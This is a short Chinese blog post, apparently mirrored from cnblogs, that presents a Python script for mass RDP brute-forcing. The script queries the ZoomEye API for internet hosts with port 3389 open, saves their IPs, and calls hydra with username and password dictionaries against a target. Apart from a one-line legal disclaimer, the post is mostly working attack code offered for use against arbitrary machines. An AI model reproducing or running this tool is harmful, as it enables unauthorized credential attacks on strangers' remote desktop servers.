• python 3389爆破机


    前言:

     = =上学后的第一个星期假期,写了个3389爆破器

       -

    0x01

    准备:

    hydra

    钟馗之眼API

    0x02代码:

    import optparse
    import os
    import requests
    import time
    def mian():
        print('[!]切记不要做违法的事情。否则后果自负')
        usage='[help -s  扫描全网3389]'
        parser=optparse.OptionParser(usage)
        parser.add_option('-s',action='store_true',dest='ji',help='扫描全网3389')
        parser.add_option('-b',dest='bao',help='爆破字典(username)')
        parser.add_option('-p',dest='passs',help='爆破字典(password)')
        parser.add_option('-x',dest='host',help='目标')
        (options,args)=parser.parse_args()
        if options.ji:
            Ji()
        elif options.bao and options.host and options.passs:
            bao=options.bao
            ip=options.host
            passs=options.passs
            Bao(bao,ip,passs)
        else:
            parser.print_help()
            exit()
    def Ji():
        for r in range(1,10):
            time.sleep(1)
            g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r)
            headers={"Authorization":"JWT token"}
            r=requests.get(g,headers=headers)
            sd=r.json()
            rsd=sd['matches'][0:]
            for l in rsd:
                print(l['ip'])
                owe=l['ip']
                with open('3389.txt','a') as p:
                    p.write(owe+'
    ')
    def Bao(bao,ip,passs):
        baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip))
    if __name__ == '__main__':
        mian()
    

      效果图:

  • 相关阅读:
    $$Ctrl+shift+M分数罗马字母小写
    设置字体大小加粗斜体下划线
    无序列表有序列表
    数学公式插入
    文本居中、代码插入、图片插入
    VM 使用问题 | 安装失败->>注册表
    VM小技巧——虚拟机解决vm窗口太小的办法
    OneNet平台实践
    linux 打包 | autoconf 使用方法
    C 总结 | 复习注意点
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8503307.html
Copyright © 2020-2023  润新知